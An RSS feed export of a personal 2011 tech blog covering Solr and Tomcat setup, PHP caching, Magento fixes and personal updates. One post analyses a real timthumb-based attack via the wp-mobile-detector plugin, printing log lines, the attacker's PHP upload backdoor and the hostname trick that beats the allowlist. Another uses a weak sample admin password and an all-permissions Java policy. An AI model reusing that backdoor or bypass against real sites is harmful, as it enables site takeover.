<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>David Goodwin &#187; Uncategorized</title>
	<atom:link href="http://codepoets.co.uk/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://codepoets.co.uk</link>
	<description>PHP, running, family stuff, Bromsgrove and other bits</description>
	<lastBuildDate>Tue, 24 Jan 2012 11:20:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Solr and WordPress (instructions/howto)</title>
		<link>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/</link>
		<comments>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 13:11:47 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=462</guid>
		<description><![CDATA[This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see github ). Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream solr-for-wordpress wordpress plugin, hence we can&#8217;t use it). Install Tomcat (and Java) apt-get install sun-java6-jre &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is for Tomcat5.5 (on Debian Lenny), WordPress 3.1 and Solr 3.4. The intention is to use the solr-for-wordpress plugin (see <a title="Solr for WordPress (palepurple fork)" href="https://github.com/palepurple/solr-for-wordpress">github</a> ).</p>
<p>Lenny does include a Solr package (v1.2) which is somewhat outdated (and not supported by the upstream <a title="Solr for WordPress" href="http://wordpress.org/extend/plugins/solr-for-wordpress/">solr-for-wordpress</a> wordpress plugin, hence we can&#8217;t use it).</p>
<h2>Install Tomcat (and Java)</h2>
<pre>apt-get install sun-java6-jre</pre>
<p>Edit /etc/profile and set a JAVA_HOME &#8211; so add in something like :</p>
<pre># Setup Jave environment 6
export PATH=$PATH:/usr/lib/jvm/java-6-sun/bin
export JAVA_HOME=/usr/lib/jvm/java-6-sun
export JRE_HOME=/usr/lib/jvm/java-6-sun/jre</pre>
<p>And then do :</p>
<pre>. /etc/profile</pre>
<pre>So those settings are set / present within your environment (or logout and back in).</pre>
<p>Next, install Tomcat :</p>
<pre>apt-get install tomcat5.5</pre>
<pre>and then</pre>
<pre>apt-get install tomcat5.5-admin</pre>
<pre></pre>
<h3>Configure Tomcat</h3>
<p>Edit /etc/tomcat5.5/tomcat-users.xml and define your own user; for the -admin apps you&#8217;ll need to give the user a role of admin and manager.</p>
<p>e.g.</p>
<pre>&lt;?xml version='1.0' encoding='utf-8'?&gt;
&lt;tomcat-users&gt;
  &lt;role rolename="manager"/&gt;
  &lt;role rolename="tomcat"/&gt;
  &lt;role rolename="admin"/&gt;
  &lt;role rolename="role1"/&gt;
  &lt;user username="palepurple" password="letmein" roles="admin,manager,tomcat"/&gt;
&lt;/tomcat-users&gt;</pre>
<p>And then restart Tomcat. You should now be able to visit http://yourserver:8180/admin and see a login screen.</p>
<p>In my case, I also edited /etc/tomcat5.5/server.xml to disable the AJP connector on port 8009 and also to tell the remaining connector (port 8180) to listen only on 127.0.0.1. To connect to the admin interface, I just use SSH port forwarding from my desktop &#8211; this is just to improve security.</p>
<p>Finally, it seems necessary to <strong>grant permission for Java to log</strong> to /var/log/tomcat5.5&#8230; .a dirty way of achieving this is to edit :</p>
<pre>/etc/java-6-sun/security/java.policy</pre>
<p>and add in (near the top)</p>
<pre>grant {
	permission java.security.AllPermission;
};</pre>
<p>(Yes, I know this is a bit like doing chmod -R 777 on a filesystem or something; but in my case Solr is running only on localhost, so I think it&#8217;s an acceptable fix; I&#8217;m sure Google can provide more eloquent fixes.).</p>
<p>&nbsp;</p>
<h2>Installing Solr</h2>
<p>Download; unpack and install .war file :</p>
<pre>cd /root</pre>
<pre>wget http://www.apache.org/dist/lucene/solr/3.4.0/apache-solr-3.4.0.tgz</pre>
<pre>tar -zxf apache-solr-3.4.0.tgz</pre>
<pre>cp apache-solr-3.4.0/dist/apache-solr-3.4.0.war /var/lib/tomcat5.5/webapps</pre>
<p>If you now restart Solr, you&#8217;ll find some log files and stuff of use in /var/log/tomcat5.5 &#8211; looking in the catalina log file there you&#8217;ll see it moaning about not finding solrconfig.xml and so on. To fix this -</p>
<pre>cp -a apache-solr-3.4.0/example/solr /var/lib/tomcat5.5/</pre>
<p>And edit <strong>/etc/default/tomcat55</strong> to contain :</p>
<pre>export JAVA_OPTS="$JAVA_OPTS -Dsolr.solr.home=/var/lib/tomcat5.5/solr"</pre>
<p>This tells Solr where to find it&#8217;s configuration and so on.</p>
<p>Then edit :</p>
<p>/var/lib/tomcat5.5/solr/conf/solrconfig.xml and fix the file paths to the various .jar files included &#8211; so in my case (you might want to copy them out of the apache-solr-3.4.0 dir and into /var/lib/tomcat5.5/solr/lib perhaps) &#8211; part of the solrconfig.xml is below :</p>
<pre>  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/extraction/lib" /&gt;
  &lt;!-- When a regex is specified in addition to a directory, only the
       files in that directory which completely match the regex
       (anchored on both ends) will be included.
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-cell-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-clustering-\d.*\.jar" /&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/dist/" regex="apache-solr-dataimporthandler-\d.*\.jar" /&gt;

  &lt;!-- If a dir option (with or without a regex) is used and nothing
       is found that matches, it will be ignored
    --&gt;
  &lt;lib dir="/var/lib/tomcat5.5/apache-solr-3.4.0/contrib/clustering/lib/" /&gt;</pre>
<p>Next create the data directory for solr to use :</p>
<pre>mkdir /var/lib/tomcat5.5/solr/data</pre>
<pre>chown tomcat55 /var/lib/tomcat5.5/solr/data</pre>
<p>And restart tomcat.</p>
<p>At this point you should be able to visit :</p>
<p>http://localhost:8180/apache-solr-3.4.0/admin/</p>
<p>If it fails, check out /var/log/tomcat5.5/*catalina.log* or /var/log/daemon.log</p>
<h2>WordPress stuff</h2>
<p>cd /path/to/wordpress/wp-content/plugins</p>
<p>git clone https://github.com/mattweber/solr-for-wordpress.git</p>
<p>cp solr-for-wordpress/schema.xml /var/lib/tomcat5.5/solr/conf/</p>
<p>&lt;&lt;restart tomcat again; /etc/init.d/tomcat5.5. restart &gt;&gt;</p>
<p>Now you just need to enable the plugin from within wordpress and tell wordpress to index your posts and you&#8217;re off.</p>
<ol>
<li> Enable plugin</li>
<li>Goto settings -&gt; solr options -&gt; select single server; tell it to use localhost, port 8180 and under the path &#8216;/apache-solr-3.4.0&#8242;</li>
<li> Perform the &#8216;server ping&#8217; check; and then tell WordPress you want to index your pages/posts etc as you see fit.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/solr-and-wordpress-instructionshowto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>wp-mobile-detector is insecure (wordpress plugin)</title>
		<link>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/</link>
		<comments>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:37:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=451</guid>
		<description><![CDATA[It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm} A customer&#8217;s web server has the following requests in it : [24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" [24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It seems installing the wp-mobile-detector plugin on your wordpress site is a bad idea {tm}</p>
<p>A customer&#8217;s web server has the following requests in it :</p>
<pre>[24/Aug/2011:02:10:47 +0100] "HEAD /wp-content/plugins/wp-mobile-detector/timthumb.php?src=http://superflickr.com.nu/index.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "GET /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
[24/Aug/2011:02:10:48 +0100] "POST /wp-content/plugins/wp-mobile-detector/cache/27a44a2d2bea4a693389c325a1125aa6.php HTTP/1.1" 200 52 "-" "Opera 11.00"
[24/Aug/2011:02:10:49 +0100] "GET /wp-content/uploads/_wp_cache.php HTTP/1.1" 200 12970 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"</pre>
<p>_wp_cache.php is one of those all-in-one-hacker-delight-control-panel things.</p>
<p>Making a request to superflickr.com.nu shows  :</p>
<pre>$ wget -qO - http://superflickr.com.nu/index.php
GIF89a????!?,D;&lt;?php $f=preg_replace('/(.*wp-content).*/i','\1',dirname(__FILE__)).DIRECTORY_SEPARATOR.'uploads'.DIRECTORY_SEPARATOR.$_FILES['F']['name'];move_uploaded_file($_FILES['F']['tmp_name'],$f);echo "14qhpo"; ?&gt;;</pre>
<p>Suffice to say this is then stored on the server via timthumb.php. The timthumb.php script does attempt to use a list of allowed sites :</p>
<pre>$allowedSites = array (
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
        'amazonaws.com',
);</pre>
<p>But it&#8217;s check is somewhat flawed -</p>
<pre>
foreach ($allowedSites as $site) {
      //$site = '/' . addslashes ($site) . '/';
      if (stristr($url_info['host'], $site) !== false) {
         $isAllowedSite = true;
      }
}</pre>
<p>Hence, superflickr.com.nu escapes through, as it contains the string &#8216;flickr.com&#8217;.</p>
<p>And then, because it performs an &#8216;md5&#8242; of the remote URL/file, which is predictable, the attacker knows where to access the saved file. A simple .htaccess file to block .php files from being accessed in the &#8216;cache&#8217; directory would have solved this.</p>
<p>Alternatively the developers could have bothered to check the extension of the URL being retrieved&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/wordpress-wp-mobile-detector-security/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Slim Framework &#8211; using middleware for page caching in the front controller</title>
		<link>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/</link>
		<comments>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/#comments</comments>
		<pubDate>Thu, 21 Jul 2011 08:34:36 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=444</guid>
		<description><![CDATA[The SlimFramework is a &#8216;minimal&#8217; PHP5 framework. We&#8217;re using it in one project, integrating with Smarty, Propel and the Zend Framework (as I don&#8217;t like Zend_View, it didn&#8217;t seem worth using Zend_Controller_Action, although what we do have is very similar to one). Anyway, when creating your front controller in Slim, you can define &#8216;middleware&#8216; (i.e. &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The <a title="Slim Framework Website" href="http://www.slimframework.com">SlimFramework</a> is a &#8216;minimal&#8217; PHP5 framework. We&#8217;re using it in one project, integrating with <a title="Smarty" href="http://smarty.net">Smarty</a>, <a title="Propel ORM" href="http://propelorm.org">Propel</a> and the<a title="Zend Framework" href="http://framework.zend.com"> Zend Framework</a> (as I don&#8217;t like Zend_View, it didn&#8217;t seem worth using Zend_Controller_Action, although what we do have is very similar to one).</p>
<p>Anyway, when creating your front controller in Slim, you can define &#8216;<a title="Slim Framework - Middleware - Docs" href="https://github.com/codeguy/Slim/wiki/Slim-Framework-Documentation#slim-route-middleware">middleware</a>&#8216; (i.e. call back functions) which are executed when a route matches and runs &#8211; before your actual &#8216;controller&#8217; code.</p>
<p>So for example, a simple route would look like :</p>
<pre>Slim::get('/route/path/to/match', function() { echo "some output goes here"; }; );</pre>
<p>With additional &#8216;middleware&#8217; it could look like :</p>
<pre>Slim::get('/routeh/path/to/match', $caching_middleware, $authentication_check, function() { echo "some output goes here";}; );</pre>
<p>(Obviously in a real application you wouldn&#8217;t have echo statements in the front controller class)</p>
<p>The $caching_middleware could look like :</p>
<pre>$cache_it = function () {
    $cache = Zend_Cache::factory('Page', 'File',
        array('debug_header' =&gt; true,
              'default_options' =&gt; array('cache' =&gt; true,
                                         'cache_with_get_parameters' =&gt; false,
                                         'cache_with_session_variables' =&gt; true,
                                         'cache_with_cookie_variables' =&gt; true),
        ));
    $cache-&gt;start();
};</pre>
<p>(I&#8217;ve left the debug_header in, so it&#8217;s obvious when it&#8217;s working <img src='http://codepoets.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  ).</p>
<p>And $authentication_check is another call back &#8211; this time presumably checking $_SESSION for something&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/slim-framework-caching-pages-using-middleware/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ebuyer &amp; ParcelForce &#8211; a story in how not to treat your customer</title>
		<link>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/</link>
		<comments>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 09:49:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=440</guid>
		<description><![CDATA[5-6 weeks ago ago I ordered two 24&#8243; widescreen monitors from EBuyer - when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something&#8230; but it didn&#8217;t. while(true) {      David.ContactsEBuyerViaStupidENoteSystem(&#8216;rah rah rah &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>5-6 weeks ago ago I ordered two 24&#8243; widescreen monitors from <a title="ebuyer - dodgy delivery" href="http://ebuyer.com">EBuyer</a> - when the ParcelForce guy delivered them I told him I expected 2, and there was only one delivered. He walked off. I presumed that the other would arrive the next day or something&#8230; but it didn&#8217;t.</p>
<div>while(true) {</div>
<div>     David.ContactsEBuyerViaStupidENoteSystem(&#8216;rah rah rah where is my missing monitor?&#8217;);</div>
<div>     EBuyer.stallForAFewDays();</div>
<div>     EBuyer.replies(&#8216;We&#8217;re checking &#8216; + excuse.random(['Warehouse', 'Parcel Force']) + &#8216; and apologise &#8230; blah blah blah&#8217;);</div>
<div>}</div>
<div>5-6 weeks later, there is no sight of the monitor&#8230;.</div>
<div>Not impressed.</div>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/ebuyer-parcelforce-a-story-in-how-not-to-treat-your-customer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Upgrading iPhone &#8211; the iphone could not be restored an unknown error occurred 1013</title>
		<link>http://codepoets.co.uk/2011/upgrading-iphone-the-iphone-could-not-be-restored-an-unknown-error-occurred-1013/</link>
		<comments>http://codepoets.co.uk/2011/upgrading-iphone-the-iphone-could-not-be-restored-an-unknown-error-occurred-1013/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 08:36:33 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=437</guid>
		<description><![CDATA[On seeing JailBreakMe has released a new version &#8211; which allows me to upgrade to the 4.3.3 firmware &#8211; I thought I&#8217;d update my iPhone4 &#8211; but annoyingly kept getting the following error message (whether doing an update or a full restore) : &#8220;The iphone could not be restored an unknown error occurred 1013&#8243; In &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/upgrading-iphone-the-iphone-could-not-be-restored-an-unknown-error-occurred-1013/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On seeing JailBreakMe has released a new version &#8211; which allows me to upgrade to the 4.3.3 firmware &#8211; I thought I&#8217;d update my iPhone4 &#8211; but annoyingly kept getting the following error message (whether doing an update or a full restore) :</p>
<p>&#8220;The iphone could not be restored an unknown error occurred 1013&#8243;</p>
<p>In my case, the fix was to edit /etc/hosts (OSX) and comment out / remove an entry for :</p>
<p>74.208.10.249 gs.apple.com</p>
<p>I have a feeling this was put there by <a title="TinyUmbrella for SHSH caching" href="http://thefirmwareumbrella.blogspot.com/">TinyUmbrella</a> or something, but nevermind. It works now.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/upgrading-iphone-the-iphone-could-not-be-restored-an-unknown-error-occurred-1013/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delaying external javascript/content loading on a website&#8230;</title>
		<link>http://codepoets.co.uk/2011/delaying-external-content-loading-on-a-website/</link>
		<comments>http://codepoets.co.uk/2011/delaying-external-content-loading-on-a-website/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 14:29:53 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=422</guid>
		<description><![CDATA[One customer of ours, has a considerable amount of content which is loaded from third parties (generally adverts and tracking code). To the extent that it takes some time for page(s) to load on their website. On the website itself, there&#8217;s normally just a call to a single external JS file &#8211; which once included &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/delaying-external-content-loading-on-a-website/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>One customer of <a href="http://www.palepurple.co.uk">ours</a>, has a considerable amount of content which is loaded from third parties (generally adverts and tracking code). To the extent that it takes some time for page(s) to load on their website. On the website itself, there&#8217;s normally just a call to a single external JS file &#8211; which once included includes a lot of additional stuff (flash players, videos, adverts, tracking code etc etc).</p>
<p>On Tuesday night, I was playing catchup with the <a title="phpclasses podcast" href="http://www.phpclasses.org/blog/category/podcast/">PHPClasses podcast</a>, and heard about their &#8216;unusual&#8217; optimisations &#8211; which involved using a loader class to pull in JS etc after the page had loaded. So, off I went to <a title="PHP classes" href="http://phpclasses.org">phpclasses.org</a>, and found <a title="content loader" href="http://files.phpclasses.org/js/contentLoader.js">contentLoader.js</a> (See it&#8217;s page &#8211; <a href="http://www.jsclasses.org/fast-content-loader">here</a>).</p>
<p>Implementation is relatively easy, to the extent of adding the loader into the top of the document and &#8220;rewriting&#8221; any existing script tags/content so they&#8217;re loaded through the contentLoader.</p>
<pre class="brush:html">&lt;script src="/wp-content/themes/xxxx/scripts/contentLoader.js" type="text/javascript"&gt;&lt;/script&gt;
&lt;script type="text/javascript"&gt;
var cl = new ML.content.contentLoader();
// uncomment, debug does nothing for me, but the delayedContent one does.
//cl.debug = true;
//cl.delayedContent = '&lt;div&gt;&lt;img src="/wp-content/themes/images/loading-image.gif" alt="" width="24" height="24" /&gt;&lt;/div&gt;';
&lt;/script&gt;</pre>
<p>And then adding something like the following at the bottom of the page :</p>
<pre class="brush:html">&lt;script type="text/javascript"&gt;
cl.loadContent();
&lt;/script&gt;</pre>
<p>And, then around any Javascript you want to delay loading until after the page is ready, use :</p>
<pre class="brush:html">&lt;script&gt;
cl.addContent({
		    content: '' +'' + '&lt;' + 'script type="text/javascript"' + ' src="http://remote.js/blah/blah.js" /&gt;<!--' + 'script-->' ,
		    inline: true,
		    priority: 50
		});
&lt;/script&gt;</pre>
<p>You can control the priority of the loading &#8211; lower numbers seem to be loaded first. You can also specify a height:/width: within the addContent &#8211; but I&#8217;m not sure these work.</p>
<p>For all I know there may be many other similar/better mechanisms to achieve the same &#8211; I&#8217;m pretty ignorant/clueless when it comes to Javascript. It&#8217;s a bit difficult for me to test it &#8211; as I have a fairly quick net connection &#8211; however it seems to move content around when looking at the net connections from FireBug, so I think it&#8217;s working as expected.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/delaying-external-content-loading-on-a-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Running along&#8230;.</title>
		<link>http://codepoets.co.uk/2011/running-along/</link>
		<comments>http://codepoets.co.uk/2011/running-along/#comments</comments>
		<pubDate>Fri, 27 May 2011 15:03:15 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=411</guid>
		<description><![CDATA[I think I&#8217;m back into my running &#8216;habit&#8217; again, after finally overcoming an achilles tendon and so on. I randomly installed RunKeeper on my iPhone, and I seem to be running at about 4minutes 30seconds per kilometer (I did 9.6km at this pace). The furthest I&#8217;ve been recently is about 13-14 miles, I think&#8230; So, &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/running-along/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I think I&#8217;m back into my running &#8216;habit&#8217; again, after finally overcoming an achilles tendon and so on.</p>
<p>I randomly installed RunKeeper on my iPhone, and I seem to be running at about 4minutes 30seconds per kilometer (I did 9.6km at this pace). The furthest I&#8217;ve been recently is about 13-14 miles, I think&#8230;</p>
<p>So, upcoming events:</p>
<ul>
<li><a title="Timberhonger 10k" href="http://www.timberhonger10k.co.uk/">Timberhonger 10k</a>&#8230; soon..</li>
<li>Sherwood/Nottingham Half Marathon (September)</li>
</ul>
<p>I had intended to do the Sherwood Marathon last year, but then I injured myself&#8230; so hopefully this year will work out better.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/running-along/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Magento not finding product images (solution)</title>
		<link>http://codepoets.co.uk/2011/magento-not-finding-product-images-solution/</link>
		<comments>http://codepoets.co.uk/2011/magento-not-finding-product-images-solution/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 12:12:27 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=332</guid>
		<description><![CDATA[I migrated a Magento instance from one host to another, and in the process earnt myself some free beer; everything went well, apart from some of the thumbnail images not appearing. The image URLs would look like : /media/catalog/product/cache/1/image/5e06319eda06f020e43594a9c230972d/images/catalog/product/placeholder/image.jpg Things tried which didn&#8217;t help : rebuilding various Magento image caches and so on (login as &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/magento-not-finding-product-images-solution/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I migrated a Magento instance from one host to another, and in the process earnt myself some <a title="free beer!" href="https://twitter.com/#!/TheGingerDog/status/60297229893775360">free beer</a>; everything went well, apart from some of the thumbnail images not appearing. The image URLs would look like :</p>
<p>/media/catalog/product/cache/1/image/5e06319eda06f020e43594a9c230972d/images/catalog/product/placeholder/image.jpg</p>
<p>Things tried which didn&#8217;t help :</p>
<ol>
<li>rebuilding various Magento image caches and so on (login as admin -&gt; System -&gt; Cache management).</li>
<li>Check PHP&#8217;s memory limit&#8230; (512mb&#8230; shouldn&#8217;t be a problem!)</li>
<li>Check permissions on the media directory (chown -R www-data media .. didn&#8217;t fix it)</li>
<li>Check PHP has gd installed/enabled &#8211; yes.</li>
<li>Disable suhosin (no change)</li>
<li>Check PHP logs (nothing relevant)</li>
<li>Check Apache logs (nothing relevant)</li>
<li>Changing the product to use a different thumbnail etc image (didn&#8217;t help)</li>
</ol>
<p>I already knew the original host didn&#8217;t have a case sensitive file system, and this was partially fixed this using mod_speling in Apache, but this obviously doesn&#8217;t help when e.g. PHP decides to read and resize an image file.</p>
<p>I then tried comparing the contents in media/catalog/product with what&#8217;s in the catalog_product_entity_varchar table. So, in my case :</p>
<pre>select value from catalog_product_entity_varchar where value like '/F%' limit 1;</pre>
<pre>returned something like :</pre>
<p>/f/i/file_4_1.jpg</p>
<p>And looking in the above mentioned directory, only showed a directory called F. Simple fix&#8230; :</p>
<pre>mv F f</pre>
<p>(Obviously check the table doesn&#8217;t make reference to images with /F in them&#8230;.  in my case it didn&#8217;t.)</p>
<p>&lt;&lt;reload web browser; images all appear and everything works.&gt;&gt;</p>
<p>What sort of idiot created case insensitive filesystems&#8230; grr.</p>
<p>Still, at least people can now browse online for <a title="kitchens!" href="http://donaldharrisonkitchens.co.uk">Kitchens</a> &#8230;. and see the appropriate thumbnails.</p>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/magento-not-finding-product-images-solution/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Getting a kvm serial console with grub2</title>
		<link>http://codepoets.co.uk/2011/getting-a-kvm-serial-console-with-grub2/</link>
		<comments>http://codepoets.co.uk/2011/getting-a-kvm-serial-console-with-grub2/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 09:54:42 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[grub]]></category>
		<category><![CDATA[kvm]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=325</guid>
		<description><![CDATA[I&#8217;ve a few kvm guest servers, which I&#8217;ve been accessing using vnc &#8211; but this is a bit of a pain (getting port forwarding setup etc). Host and guests run Debian Squeeze with Grub2 installed/in use. So, here&#8217;s how to do the &#8216;virsh console &#8216; thing &#8230; Edit /etc/default/grub, specify  GRUB_TERMINAL=serial GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --word=8 &#8230; <a class="read-excerpt" href="http://codepoets.co.uk/2011/getting-a-kvm-serial-console-with-grub2/">Continue reading <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve a few kvm guest servers, which I&#8217;ve been accessing using vnc &#8211; but this is a bit of a pain (getting port forwarding setup etc). Host and guests run Debian Squeeze with Grub2 installed/in use.</p>
<p>So, here&#8217;s how to do the &#8216;virsh console &#8216; thing &#8230;</p>
<ol>
<li>Edit /etc/default/grub, specify 
<pre class="brush:shell">
GRUB_TERMINAL=serial
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1"
GRUB_CMDLINE_LINUX_DEFAULT=""
GRUB_CMDLINE_LINUX="text console=tty0 console=ttyS0,115200n8"
</pre>
</li>
<li>Run update-grub</li>
<li>Edit /etc/inittab and enable ttyS0 for logins.</li>
<li>Reboot</li>
<li>&#8216;virsh console servername&#8217; on the kvm host.</li>
</ol>
<p>The libvirt config files I have already have the appropriate bits in them -</p>
<pre class="brush:xml">
&lt;serial type='pty'&gt;&lt;target port='0'/&gt;&lt;/serial&gt;
&lt;console type='pty'&gt;&lt;target type='serial' port='0'/&gt;&lt;/console&gt;
</pre>
]]></content:encoded>
			<wfw:commentRss>http://codepoets.co.uk/2011/getting-a-kvm-serial-console-with-grub2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>fsck -y (or fsck yes&#8230;)</title>
		<link>http://codepoets.co.uk/2011/fsck-y-or-fsck-yes/</link>
		<comments>http://codepoets.co.uk/2011/fsck-y-or-fsck-yes/#comments</comments>
		<pubDate>Fri, 15 Apr 2011 13:23:21 +0000</pubDate>
		<dc:creator>David Goodwin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[fsck]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://codepoets.co.uk/?p=321</guid>
